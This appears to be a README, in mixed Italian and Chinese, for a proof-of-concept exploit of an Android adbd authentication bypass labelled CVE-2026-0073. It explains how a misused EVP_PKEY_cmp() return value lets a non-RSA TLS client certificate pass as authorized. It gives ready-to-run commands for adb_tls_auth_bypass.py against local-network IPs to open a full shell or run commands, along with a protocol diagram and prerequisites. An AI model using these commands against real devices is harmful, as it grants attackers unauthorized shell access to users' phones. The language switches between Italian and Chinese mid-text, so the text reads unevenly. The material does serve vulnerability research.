
CVE-2026-0073-Android-ADBD-bypass-POC汉化版
EVP_PKEY_cmp() → shell ADB non autorizzataNel daemon ADB di Android (adbd) esiste una vulnerabilità critica di bypass dell'autenticazione che consente a qualsiasi attaccante sulla rete locale di ottenere una shell completa sul dispositivo di destinazione senza autorizzazione dell'utente.
La vulnerabilità risiede nella funzione adbd_tls_verify_cert() nel file daemon/auth.cpp, dove EVP_PKEY_cmp() viene usato come valore booleano. Quando la chiave memorizzata è una chiave RSA e il certificato client TLS fornito trasporta una chiave non RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() restituisce -1 (mancata corrispondenza del tipo), che in C/C++ è vero, quindi authorized = true.
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Per impostazione predefinita, lo script tenta automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 fino al successo.
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
⚠️ Nota importante: la chiave RSA deve trovarsi nel file /data/misc/adb/adb_keys, che viene popolato tramite accoppiamento di debug USB (accettando la finestra di dialogo "Consenti debug USB?"). L'accoppiamento di debug wireless (adb pair) memorizza le chiavi in una posizione diversa (adb_known_hosts.pb) e quindi non soddisfa questo requisito.
adb shell getprop ro.build.version.security_patch
Testato e confermato funzionante su:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
Questo fork include i seguenti miglioramenti:
select() per il supporto multipiattaforma-v mostra una traccia dettagliata del protocolloCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi didattici. L'accesso non autorizzato a sistemi informatici è illegale. Assicurati di ottenere l'autorizzazione appropriata prima di eseguire i test. L'autore non è responsabile per qualsiasi uso improprio di questo software.
EVP_PKEY_cmpSe questo ti è stato utile per la tua ricerca, lascia una stella ⭐
EVP_PKEY_cmp() 返回值 | 含义 | C 语言中的真值? | 结果 |
|---|
1 | 密钥匹配 | ✅ | 已授权(正确) |
0 | 键值不同 | ❌ | 已拒绝(正确) |
-1 | 类型不匹配 | ✅ | 已授权(BUG) |
| Requisito | Dettagli |
|---|
| Opzioni sviluppatore | Attivate sul dispositivo di destinazione |
| Debug wireless | Attivato (o ADB tramite porta TCP 5555) |
| Chiave RSA memorizzata | Il dispositivo deve essere stato accoppiato almeno una volta via USB (/data/misc/adb/adb_keys) |
| Accesso di rete | L'attaccante deve avere accesso alla porta TCP di adbd |